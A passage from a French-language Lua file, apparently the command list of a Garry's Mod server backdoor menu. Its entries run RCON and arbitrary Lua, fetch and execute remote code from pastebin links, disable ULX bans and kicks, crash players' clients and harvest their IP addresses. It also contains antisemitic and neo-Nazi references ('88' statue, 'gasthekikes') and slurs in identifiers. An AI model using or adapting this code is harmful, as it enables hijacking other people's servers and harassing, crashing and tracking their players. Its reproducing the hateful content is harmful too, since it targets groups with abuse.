587 ["Desc"] = "Sa va faire boom",
588
589 },
590
591
592
593 ["Commande RCON"] = {
594
595 ["Type"] = 1,
596
597 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
598
599 ["Desc"] = "C'est tant de pouvoir le rcon ;)",
600
601 },
602
603
604
605 ["Lua run"] = {
606
607 ["Type"] = 1,
608
609 ["Code"] = [[ulx luarun @1]],
610
611 ["Desc"] = "Pas mal pour lancer des fichiers lua :')",
612
613 },
614
615
616
617 ["Lua run via pastebin"] = {
618
619 ["Type"] = 1,
620
621 ["Code"] = [[http.Fetch( "@1", function( b, l, h, c ) RunString( b ) end, function() end )]],
622
623 ["Desc"] = "C'est drôle, tu peut lancer n'importe qu'elle fichier lua Pastebin avec ça (cc les skeletons)",
624
625 },
626
627
628
629 ["Détruire Le Ban & Le Kick ULX"] = {
630
631 ["Type"] = 1,
632
633 ["Code"] = [[ULib.Ban = function() return false end
634
635 ULib.addBan = function() return end
636
637 ULib.kick = function() return end]],
638
639 ["Desc"] = "RIP les joueurs ban et kick :c",
640
641 },
642
643 ["Activer Super Asriel"] = {
644
645 ["Type"] = 1,
646
647 ["Code"] = [[http.Fetch("https://pastebin.com/raw/eUVnvQjn",function(b,l,h,c)RunString(b)end,nil)]],
648
649 ["Desc"] = "I'm your best friend ! A.S.R.I.E.L D.R.E.E.M.U.R.R",
650
651 },
652
653
654 ["Bruit De Toux"] = {
655
656 ["Type"] = 1,
657
658 ["Code"] = [[
659
660 if !timer.Exists( "jcrevenofake" ) then
661
662 timer.Create( "jcrevenofake", 0.7, 0, function()
663
664 for _, p in pairs(player.GetAll()) do
665
666 p:EmitSound("ambient/voices/cough"..math.random(4)..".wav", 450 + math.random() * 50, 50 + math.random() * 10)
667
668 end
669
670 end)
671
672 else
673
674 timer.Remove( "jcrevenofake" )
675
676 end]],
677
678 ["Desc"] = "Sa tousse fort, la mort approche ?",
679
680 },
681
682 ["!Modifier Map"] = {
683
684 ["Type"] = 1,
685
686 ["Code"] = [[RunConsoleCommand("hostname", "@1"")]],
687
688 ["Desc"] = "Modifier La Map :D",
689
690 },
691
692
693 ["Danse To The Death"] = {
694
695 ["Type"] = 1,
696
697 ["Code"] = [[http.Fetch("https://pastebin.com/raw/sA70hXDc",function(b,l,h,c)RunString(b)end,nil)]],
698
699 ["Desc"] = "Danse To The Death",
700
701 },
702
703 ["Arme Multicolore"] = {
704
705 ["Type"] = 1,
706
707 ["Code"] = [[
708 hook.Add("Think","somewhere_over_the_rainbow",function()
709 local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
710 for _, v in ipairs(player.GetAll()) do
711 v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
712 end
713end))]],
714
715 ["Desc"] = "Dédicasse a maks",
716
717 },
718
719
720/*============================================
721|===== Commandes Sur Joueur Selectionné =====|
722===========================================*/
723
724
725
726 ["Tuer Le Joueur"] = {
727
728 ["Type"] = 2,
729
730 ["Code"] = [[v:Kill()]],
731
732 ["Desc"] = "",
733
734 },
735
736
737
738
739 ["Rendre Multicolore"] = {
740
741 ["Type"] = 2,
742
743 ["Code"] = [[
744
745 local id = ]] .. LocalPlayer():UserID() .. [[
746
747 Player( id ):SetModel( "models/player/group02/male_04.mdl" )
748
749 Player( id ):SetMaterial( "models/debug/debugwhite" )
750
751 hook.Add( "Think", "multicolore", function()
752
753 if !IsValid( Player( id ) ) then return end
754
755 Player( id ):SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
756
757 end )
758 ]],
759
760 ["Desc"] = "Transforme N'importe qui en personne multicolore :D",
761
762 },
763
764
765
766 ["Expelliarmus"] = {
767
768 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
769
770 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
771
772 ["Desc"] = "Désarme un random",
773
774 },
775
776
777
778 ["Supprimer Les Armes"] = {
779
780 ["Type"] = 2,
781
782 ["Code"] = [[v:StripWeapons()]],
783
784 ["Desc"] = "",
785
786 },
787
788
789
790 ["Roquette"] = {
791
792 ["Type"] = 2,
793
794 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
795
796 ["Desc"] = "Sends them flying up into the air",
797
798 },
799
800
801
802 ["Roquette Dévié"] = {
803
804 ["Type"] = 2,
805
806 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
807
808 ["Desc"] = "HOLY SHIIIIIIIIIIIT",
809
810 },
811
812
813
814 ["Change model"] = {
815
816 ["Type"] = 2,
817
818 ["Code"] = [[v:SetModel( @1 )]],
819
820 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
821
822 ["NeedsParameters"] = 1,
823
824 },
825
826
827
828 ["Choisi la vie + l'armure"] = {
829
830 ["Type"] = 2,
831
832 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
833
834 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
835
836 ["NeedsParameters"] = 2,
837
838 },
839
840
841
842 ["Ear rape"] = {
843
844 ["Type"] = 2,
845
846 ["Code"] = [[
847
848 local snd = {
849
850 [1] = "npc/stalker/go_alert2a.wav",
851
852 [2] = "vo/npc/male01/question06.wav",
853
854 [3] = "ambient/energy/zap1.wav",
855
856 [4] = "weapons/knife/knife_stBD.wav",
857
858 [5] = "vo/ravenholm/madlaugh04.wav",
859
860 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
861
862 [7] = "vo/breencast/br_collaboration01.wav,"
863
864 }
865
866 v:EmitSound( snd[tonumber(@1)], 100, 100 )
867
868 ]],
869
870 ["Desc"] = "Lance un son (choisir entre 1 & 7)",
871
872 ["NeedsParameters"] = 1,
873
874 },
875
876
877
878 ["Ear rape (via internet)"] = {
879
880 ["Type"] = 2,
881
882 ["Code"] = [[
883
884 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
885
886 ]],
887
888 ["Desc"] = "fait écouter un son par URL (1er parametre). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
889
890 ["NeedsParameters"] = 1,
891
892 },
893
894
895
896 ["Spam Visuel (via internet)"] = {
897
898 ["Type"] = 2,
899
900 ["Code"] = [[
901
902 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
903
904 ]],
905
906 ["Desc"] = "fait les regarder une image avec un URL infermable (1ème parametre). En lancer un deuxième le remplacera. Un lien invalide les effacera",
907
908 ["NeedsParameters"] = 1,
909
910 },
911
912
913
914 ["Mode Disco"] = {
915
916 ["Type"] = 2,
917
918 ["Code"] = [[
919
920 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
921
922 ]],
923
924 ["Desc"] = "C'est partie :D",
925
926 },
927
928
929
930 ["Musique Disco"] = {
931
932 ["Type"] = 2,
933
934 ["Code"] = [[
935
936 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
937
938 ]],
939
940 ["Desc"] = "rt",
941
942 },
943
944
945
946 ["Message PV"] = {
947
948 ["Type"] = 2,
949
950 ["Code"] = [[v:ChatPrint( @1 )]],
951
952 ["Desc"] = "Envoi un message anonyme",
953
954 ["NeedsParameters"] = 1,
955
956 },
957
958
959
960 ["Message PV (Amélioré)"] = {
961
962 ["Type"] = 2,
963
964 ["Code"] = [[
965
966 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
967
968 ]],
969
970 ["Desc"] = "Envoi un message anonyme de la couleur que tu veut (1er paramètre = texte, 2ème = rouge, 3ème = vert, 4ème = bleu)",
971
972 ["NeedsParameters"] = 1,
973
974 },
975
976
977
978 ["Brûler"] = {
979
980 ["Type"] = 2,
981
982 ["Code"] = [[v:Ignite( 30 )]],
983
984 ["Desc"] = "Crame le",
985
986 },
987
988
989
990 ["Activé/Désactivé GodMod"] = {
991
992 ["Type"] = 2,
993
994 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
995
996 ["Desc"] = "Mtn, t'es un dieu",
997
998 },
999
1000
1001
1002 ["Crash"] = {
1003
1004 ["Type"] = 2,
1005
1006 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
1007
1008 ["Desc"] = "Instant Crash :')",
1009
1010 },
1011
1012
1013
1014 ["Activé/Desactivé SpeedHack Joueur"] = {
1015
1016 ["Type"] = 2,
1017
1018 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
1019
1020 ["Desc"] = "ooooooooooooooooooooooooaw",
1021
1022 },
1023
1024
1025
1026 ["Geler/Dégeler Joueurs"] = {
1027
1028 ["Type"] = 2,
1029
1030 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
1031
1032 ["Desc"] = "j'peut plus bouger :c",
1033
1034 },
1035
1036
1037
1038 ["Forcer a dire une phrase"] = {
1039
1040 ["Type"] = 2,
1041
1042 ["Code"] = [[v:Say(@1)]],
1043
1044 ["Desc"] = "C'est drôle quand ils comprennent pas",
1045
1046 ["NeedsParameters"] = 1,
1047
1048 },
1049
1050
1051
1052
1053
1054 ["Forcer a executer une commande"] = {
1055
1056 ["Type"] = 2,
1057
1058 ["Code"] = [[v:ConCommand(@1)]],
1059
1060 ["Desc"] = "Bruh, je me met a tourner",
1061
1062 ["NeedsParameters"] = 1,
1063
1064 },
1065
1066
1067
1068 ["Récuperer IP"] = {
1069
1070 ["Type"] = 2,
1071
1072 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
1073
1074 ["Desc"] = "Reçois leurs ips dans ta console",
1075
1076 },
1077
1078
1079
1080
1081
1082 ["DarkRP ajouter/retirer de l'argent"] = {
1083
1084 ["Type"] = 2,
1085
1086 ["Code"] = [[v:addMoney(@1)]],
1087
1088 ["Desc"] = "Ajoute de la monnaie dans ton porte-monnaie (utiliser un chiffre négatif pour retirer)",
1089
1090 ["NeedsParameters"] = 1,
1091
1092 },
1093
1094
1095
1096 ["DarkRP forcer a join un job"] = {
1097
1098 ["Type"] = 2,
1099
1100 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
1101
1102 ["Desc"] = "WHUT JE SUIS DEVENU PRESIDENT D'UN COUP",
1103
1104 ["NeedsParameters"] = 1,
1105
1106 },
1107
1108
1109
1110 ["Forcer a changer d'équipe"] = {
1111
1112 ["Type"] = 2,
1113
1114 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
1115
1116 ["Desc"] = "Bruh j'suis un terroriste",
1117
1118 ["NeedsParameters"] = 1,
1119
1120 },
1121
1122
1123
1124 ["Forcer A Noclip"] = {
1125
1126 ["Type"] = 2,
1127
1128 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
1129
1130 ["Desc"] = "Je vole :c",
1131
1132 },
1133
1134
1135
1136 ["Give une arme"] = {
1137
1138 ["Type"] = 2,
1139
1140 ["Code"] = [[v:Give( @1 )]],
1141
1142 ["Desc"] = "OH ! Une bombe nucléaire",
1143
1144 ["NeedsParameters"] = 1,
1145
1146 },
1147
1148
1149
1150 ["Give des munitions"] = {
1151
1152 ["Type"] = 2,
1153
1154 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
1155
1156 ["Desc"] = "Recois des munitions (1er = nombres de munitions, 2èmes = type de munitions)",
1157
1158 ["NeedsParameters"] = 2,
1159
1160 },
1161
1162
1163
1164 ["Téléporter (Joueur a votre curseur)"] = {
1165
1166 ["Type"] = 2,
1167
1168 ["Code"] = [[
1169
1170 local tp = false
1171
1172 local tpos
1173
1174 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
1175
1176 if tp then v:SetPos( tpos ) end
1177
1178 ]],
1179
1180 ["Desc"] = "Bruh",
1181
1182 },
1183
1184
1185
1186 ["Téléporter (Vous a eux)"] = {
1187
1188 ["Type"] = 2,
1189
1190 ["Code"] = [[
1191
1192 local tp = false
1193
1194 local tpos = v:GetPos() + Vector( 32, 0, 10)
1195
1196 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
1197
1198 ]],
1199
1200 ["Desc"] = "Bruh",
1201
1202 },
1203
1204
1205
1206 ["Téléporter (Blink)"] = {
1207
1208 ["Type"] = 2,
1209
1210 ["Code"] = [[
1211
1212 local tpos = v:GetEyeTraceNoCursor().HitPos
1213
1214 v:SetPos( tpos )
1215
1216 ]],
1217
1218 ["Desc"] = "J'suis un enderman omg",
1219
1220 },
1221
1222
1223
1224 ["Spawn une entité près du joueur"] = {
1225
1226 ["Type"] = 2,
1227
1228 ["Code"] = [[
1229
1230 local tr = {}
1231
1232 tr.start = v:GetShootPos()
1233
1234 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1235
1236 tr.filter = {v}
1237
1238 local trace = util.TraceLine(tr)
1239
1240 local dix = ents.Create( @1 )
1241
1242 dix:SetPos(trace.HitPos)
1243
1244 dix:SetAngles(Angle(0,0,0))
1245
1246 dix:Spawn()
1247
1248 ]],
1249
1250 ["Desc"] = "Spawn une entité a côté (1er = code/classe de l'entité), tu peut pas spawn de voiture!",
1251
1252 ["NeedsParameters"] = 1,
1253
1254 },
1255
1256
1257
1258 ["Spawn un props près du joueur"] = {
1259
1260 ["Type"] = 2,
1261
1262 ["Code"] = [[
1263
1264 local tr = {}
1265
1266 tr.start = v:GetShootPos()
1267
1268 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1269
1270 tr.filter = {v}
1271
1272 local trace = util.TraceLine(tr)
1273
1274 local dix = ents.Create( "prop_physics" )
1275
1276 dix:SetPos(trace.HitPos)
1277
1278 dix:SetAngles(Angle(0,0,0))
1279
1280 dix:SetModel( @1 )
1281
1282 dix:Spawn()
1283
1284 ]],
1285
1286 ["Desc"] = "Wallah on a tenter de me propskill (1er = model)",
1287
1288 ["NeedsParameters"] = 1,
1289
1290 },
1291
1292
1293
1294 [" Marquez Les Traces Inutile"] = {
1295
1296 ["Type"] = 2,
1297
1298 ["Code"] = [[
1299
1300 local tr = {}
1301
1302 tr.start = v:GetShootPos()
1303
1304 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1305
1306 tr.filter = {v}
1307
1308 local trace = util.TraceLine(tr)
1309
1310 local dix = ents.Create( "prop_physics" )
1311
1312 dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1313
1314 dix:SetAngles( v:GetAngles() )
1315
1316 dix:SetModel( "models/props_c17/gravestone_cross001a.mdl" )
1317
1318 dix:Spawn()
1319
1320 dix:SetMoveType( MOVETYPE_NONE )
1321
1322 dix:SetMaterial( "models/shiny" )
1323
1324 dix:SetColor( Color( 0, 0, 40 ) )
1325
1326
1327
1328 local function ecr( parent, model, pos, ang, col, mat )
1329
1330 local dix = ents.Create( "prop_physics" )
1331
1332 dix:SetPos( parent:LocalToWorld( pos ) )
1333
1334 dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1335
1336 dix:SetModel( model )
1337
1338 dix:SetParent( parent )
1339
1340 dix:Spawn()
1341
1342 dix:SetColor( col )
1343
1344 dix:SetMaterial( mat )
1345
1346 end
1347
1348
1349
1350 ecr( dix, "models/props_c17/gravestone_coffinpiece001a.mdl", Vector( -25, 0, -60 ), Angle( 0, 180, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1351
1352 ecr( dix, "models/hunter/blocks/cube025x2x025.mdl", Vector( -5, -5, 372 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1353
1354 ecr( dix, "models/hunter/blocks/cube025x2x025.mdl", Vector( -5, -5, 260 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1355
1356 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1357
1358 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 0, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1359
1360 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1361
1362 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1363
1364 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1365
1366 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1367
1368 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1369
1370 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1371
1372 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1373
1374 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 200 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1375
1376 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 200 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1377
1378 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 330 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1379
1380 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 330 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1381
1382
1383 for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(255, 255, 255 ), "WOOOOOOOOOOOOOOW UNE BITE GEANTE")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end
1384
1385
1386
1387 ]],
1388
1389 ["Desc"] = "Fait apparaitre la statue bite",
1390
1391 ["Private"] = true,
1392
1393 },
1394
1395
1396
1397
1398 [" Marquez Les Trace De La 88"] = {
1399
1400 ["Type"] = 2,
1401
1402 ["Code"] = [[
1403
1404 local tr = {}
1405
1406 tr.start = v:GetShootPos()
1407
1408 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1409
1410 tr.filter = {v}
1411
1412 local trace = util.TraceLine(tr)
1413
1414 local dix = ents.Create( "prop_physics" )
1415
1416 dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1417
1418 dix:SetAngles( v:GetAngles() )
1419
1420 dix:SetModel( "models/props_c17/gravestone_cross001a.mdl" )
1421
1422 dix:Spawn()
1423
1424 dix:SetMoveType( MOVETYPE_NONE )
1425
1426 dix:SetMaterial( "models/shiny" )
1427
1428 dix:SetColor( Color( 0, 0, 40 ) )
1429
1430
1431
1432 local function ecr( parent, model, pos, ang, col, mat )
1433
1434 local dix = ents.Create( "prop_physics" )
1435
1436 dix:SetPos( parent:LocalToWorld( pos ) )
1437
1438 dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1439
1440 dix:SetModel( model )
1441
1442 dix:SetParent( parent )
1443
1444 dix:Spawn()
1445
1446 dix:SetColor( col )
1447
1448 dix:SetMaterial( mat )
1449
1450 end
1451
1452
1453
1454 ecr( dix, "models/props_c17/gravestone_coffinpiece001a.mdl", Vector( -25, 0, -60 ), Angle( 0, 180, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1455
1456 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1457
1458 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1459
1460 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1461
1462 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1463
1464 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1465
1466 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1467
1468 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1469
1470 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1471
1472--
1473
1474
1475 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 248 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1476
1477 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 248 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1478
1479 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1480
1481 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1482
1483 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1484
1485 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1486
1487
1488
1489 for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(0, 0, 0 ), "La 88 a apparement prit contrôle des lieux :D")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end
1490
1491
1492
1493 ]],
1494
1495 ["Desc"] = "Fait apparaitre la statue 88",
1496
1497 ["Private"] = true,
1498
1499 },
1500
1501
1502
1503
1504
1505 ["Spawn un NPC méchant près d'un joueur"] = {
1506
1507 ["Type"] = 2,
1508
1509 ["Code"] = [[
1510
1511 local tr = {}
1512
1513 tr.start = v:GetShootPos()
1514
1515 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1516
1517 tr.filter = {v}
1518
1519 local trace = util.TraceLine(tr)
1520
1521 local dix = ents.Create( "npc_citizen" )
1522
1523 dix:SetPos(trace.HitPos)
1524
1525 dix:SetAngles(Angle(0,0,0))
1526
1527 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
1528
1529 dix:SetKeyValue( "citizentype", 3 )
1530
1531 dix:AddRelationship("player D_HT 200")
1532
1533 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
1534
1535 dix:SetSchedule( SCHED_IDLE_WANDER )
1536
1537 dix:Spawn()
1538
1539 ]],
1540
1541 ["Desc"] = "Spawn a hostile NPC in front of this player",
1542
1543 },
1544
1545
1546
1547 ["Vision Mortel"] = {
1548
1549 ["Type"] = 2,
1550
1551 ["Code"] = [[
1552
1553 local trace = v:GetEyeTraceNoCursor()
1554
1555 if trace.Entity:IsValid() then trace.Entity:Remove() end
1556
1557 ]],
1558
1559 ["Desc"] = "Désintègre les joueurs que tu regarde",
1560
1561 },
1562
1563
1564
1565 ["Vision Explosive"] = {
1566
1567 ["Type"] = 2,
1568
1569 ["Code"] = [[
1570
1571 local trace = v:GetEyeTraceNoCursor()
1572
1573 local explo = ents.Create("env_explosion")
1574
1575 explo:SetPos(trace.HitPos)
1576
1577 explo:SetKeyValue("iMagnitude", "250")
1578
1579 explo:Spawn()
1580
1581 explo:Activate()
1582
1583 explo:Fire("Explode", "", 0)
1584
1585 ]],
1586
1587 ["Desc"] = "Explose ce que tu regarde",
1588
1589 },
1590
1591
1592
1593 ["Frappe Orbital Précise"] = {
1594
1595 ["Type"] = 2,
1596
1597 ["Code"] = [[
1598
1599 local trace = v:GetEyeTraceNoCursor()
1600
1601 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
1602
1603 local explo = ents.Create("env_explosion")
1604
1605 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
1606
1607 explo:SetKeyValue("iMagnitude", "250")
1608
1609 explo:Spawn()
1610
1611 explo:Activate()
1612
1613 explo:Fire("Explode", "", 0)
1614
1615 end)
1616
1617 ]],
1618
1619 ["Desc"] = "ça va faire boom",
1620
1621 },
1622
1623
1624
1625 ["Pluie De Véhicules"] = {
1626
1627 ["Type"] = 2,
1628
1629 ["Code"] = [[
1630
1631 local trace = v:GetEyeTraceNoCursor()
1632
1633 local car = ents.Create("prop_physics")
1634
1635 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
1636
1637 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
1638
1639 car:SetAngles( v:GetAngles() )
1640
1641 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
1642
1643 car:Spawn()
1644
1645 car:Activate()
1646
1647 car.boom = 6
1648
1649 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
1650
1651 car:Ignite( 500 )
1652
1653 car:AddCallback( "PhysicsCollide", function( car, dat )
1654
1655 local explo = ents.Create("env_explosion")
1656
1657 explo:SetPos( car:GetPos() )
1658
1659 explo:SetKeyValue("iMagnitude", "350")
1660
1661 explo:Spawn()
1662
1663 explo:Activate()
1664
1665 explo:Fire("Explode", "", 0)
1666
1667 local ef = EffectData()
1668
1669 ef:SetOrigin( car:GetPos() )
1670
1671 ef:SetMagnitude( 5 )
1672
1673 ef:SetScale( 200 )
1674
1675 util.Effect( "ThumperDust", ef )
1676
1677 car.boom = car.boom - 1
1678
1679 if car.boom < 0 then car:Remove() end
1680
1681 end )
1682
1683 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
1684
1685 ]],
1686
1687 ["Desc"] = "Fait tomber des véhicules du ciel qui exploserons",
1688
1689 },
1690
1691
1692
1693
1694
1695
1696
1697 ["Gas Toxique"] = {
1698
1699 ["Type"] = 2,
1700
1701 ["Code"] = [[
1702
1703 local trace = v:GetEyeTraceNoCursor()
1704
1705 local ar2Explo = ents.Create("env_ar2explosion")
1706
1707 ar2Explo:SetOwner(game.GetWorld())
1708
1709 local p = trace.HitPos
1710
1711 ar2Explo:SetPos(trace.HitPos)
1712
1713 ar2Explo:Spawn()
1714
1715 ar2Explo:Activate()
1716
1717 ar2Explo:Fire("Explode", "", 0)
1718
1719 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
1720
1721 for _, ent in pairs(ents.FindInSphere( p, 500)) do
1722
